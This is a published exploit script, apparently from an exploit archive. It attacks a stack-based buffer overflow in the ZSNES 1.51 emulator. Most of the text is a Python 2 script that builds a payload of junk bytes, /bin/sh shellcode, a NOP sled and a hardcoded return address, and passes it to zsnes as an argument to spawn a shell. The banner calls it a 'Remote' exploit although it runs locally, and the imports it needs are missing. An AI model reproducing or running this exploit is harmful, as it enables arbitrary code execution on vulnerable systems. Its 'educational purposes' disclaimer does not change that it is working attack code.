ZSNES 1.51 Stack-Based Buffer Overflow

`# Exploit Author: Juan Sacco - http://www.exploitpack.comp <[email protected]>  
# Tested on: GNU/Linux - Kali Linux 2.0  
# Description: ZSNES v1.51 and prior is prone to a stack-based buffer overflow  
# vulnerability because the application fails to perform adequate  
# boundary-checks on user-supplied input.  
#  
# An attacker could exploit this issue to execute arbitrary code in the  
# context of the application. Failed exploit attempts will result in a  
# denial-of-service condition.  
#  
# Vendor homepage: http://www.zsnes.com  
# Kali Linux 2.0 package: 1.510+bz2-8 (/var/lib/apt/lists/http.kali.org_kali_dists_sana_main_binary-i386_Packages)  
# MD5: 23c1e4d12b6b8895961a29f2fd91570b  
  
def run():  
try:  
print "# ZSNES v1.51 Stack-BoF by Juan Sacco"  
print "# Wasting CPU clocks on unusable exploits"  
print "# This exploit is for educational purposes only"  
# Basic structure: JUNK + SHELLCODE + NOPS + EIP  
junk = "\x41"*8  
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\  
xb0\x0b\xcd\x80"  
nops = "\x90"*589  
eip = "\x10\xf0\xff\xbf"  
  
subprocess.call(["zsnes", junk + shellcode + nops + eip])  
  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "ZSNES not found!"  
else:  
print "Error executing exploit"  
raise  
  
def howtousage():  
print "Sorry, something went wrong"  
sys.exit(-1)  
  
if __name__ == '__main__':  
try:  
print "Exploit ZSNES 1.51 Remote Buffer Overflow Exploit"  
print "Author: Juan Sacco (Runlvl)"  
except IndexError:  
howtousage()  
run()  
`